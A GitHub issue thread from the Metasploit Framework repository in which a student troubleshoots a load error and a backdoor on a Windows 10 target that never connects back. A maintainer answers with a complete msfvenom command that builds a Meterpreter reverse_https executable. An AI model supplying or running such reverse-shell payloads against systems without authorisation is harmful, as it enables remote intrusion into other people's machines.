metasploit-framework
metasploit-framework copied to clipboard
cannot load such file -- metasm/exe_format/shellcode
help me to solve this isses,before it works there is no errors while running these commands but,i updated metasploit after that this error occurs kindly help me....!
Did you update from a very old version of metasploit to a newer version? If so - it may be easier to uninstall and reinstall metasploit
after that error ,i restarted my kali machine and runned those commands ,then it worked without error but,but i have an another error,after running reverse handler ,i waited for incoming connections from my target computer but there is no incoming connections. NOTE: i already insrtalled backdoor to the target computer it is running in windows 10 and I already turned off the antivirus for testing the backdoor, there is no error in running the backdoor in target computer , that's perfect but after that i dont know the backdoor working or not , but there is no incoming connections from my target , what i do please help me to sort out this issue. THANK YOU !
On Tue, Jan 17, 2023 at 8:52 PM adfoster-r7 @.***> wrote:
Did you update from a very old version of metasploit to a newer version? If so - it may be easier to uninstall and reinstall metasploit
— Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/17486#issuecomment-1385593667, or unsubscribe https://github.com/notifications/unsubscribe-auth/A5HPBO7I27B7Z6TKKAEGKKLWS22NDANCNFSM6AAAAAAT57RXOI . You are receiving this because you authored the thread.Message ID: @.***>
Are you an OSEP student? The reverse_https handler is currently broken with tls1, but it should be be fixed after this PR is complete https://github.com/rapid7/metasploit-framework/issues/17020
As a work around you can apply this fix: https://github.com/rapid7/metasploit-framework/issues/17020
Or use the reverse_http handler instead of reverse_https. If you still have issues, verify your network details are correct
You can also add SSLVERSION=TLS1.2
at the payload creation msfvenom command, and it should work.
Example:
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<YOUR IP ADDRESS> LPORT=443 SSLVERSION=TLS1.2 -f exe -o staged.exe
no i'm not an OSEP student im studying engineering in computer science,and i'm interested hacking so i used to learn it from demy ,so i theses are the doubts from that course .and i'll try for http payload , hope it works ,THANK YOU..!
On Tue, Jan 17, 2023 at 11:22 PM adfoster-r7 @.***> wrote:
Are you an OSEP student? The reverse_https handler is currently broken with tls1, but it should be be fixed after this PR is complete #17020 https://github.com/rapid7/metasploit-framework/issues/17020
As a work around you can apply this fix: #17020 https://github.com/rapid7/metasploit-framework/issues/17020
Or use the reverse_http handler instead of reverse_https. If you still have issues, verify your network details are correct
— Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/17486#issuecomment-1385808261, or unsubscribe https://github.com/notifications/unsubscribe-auth/A5HPBO4SJHWVNY47WOYNX5TWS3L6DANCNFSM6AAAAAAT57RXOI . You are receiving this because you authored the thread.Message ID: @.***>
Hi!
This issue has been left open with no activity for a while now.
We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
This should be fixed in the latest version of Metasploit
Hi!
This issue has been left open with no activity for a while now.
We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
Hi again!
It’s been 60 days since anything happened on this issue, so we are going to close it. Please keep in mind that I’m only a robot, so if I’ve closed this issue in error please feel free to reopen this issue or create a new one if you need anything else.
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.